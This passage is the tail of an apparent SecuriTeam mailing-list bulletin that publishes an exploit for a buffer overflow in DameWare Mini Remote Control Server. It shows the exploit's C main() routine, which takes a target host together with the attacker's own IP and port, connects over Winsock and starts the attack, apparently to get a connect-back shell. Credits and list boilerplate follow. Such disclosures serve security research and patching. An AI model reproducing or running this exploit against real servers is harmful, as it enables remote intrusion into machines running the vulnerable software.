int main(int argc, char *argv[])
{
WSADATA wsaData;
int sock;

banner();
if(argc!=4) {
printf("syntax: %s <host> <your_ip> <your_port>\r\n",argv[0]);
return -1;
}
if(WSAStartup(0x0101,&wsaData)!=0) {
printf("error: unable to load winsock\r\n");
return -1;
}
sock=cnx(argv[1]);
if(!sock)
return -1;
start_auth(sock,argv[2],atoi(argv[3]));
return 0;
}
```

ADDITIONAL INFORMATION

The information has been provided by <mailto:kralor@coromputer.net> Iván Rodríguez Almuíña and <mailto:netninja@hotmail.kg> Adik.

=====

Securiteam: [EXPL] DameWare Mini Remote Control Server Overflow Exploit

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.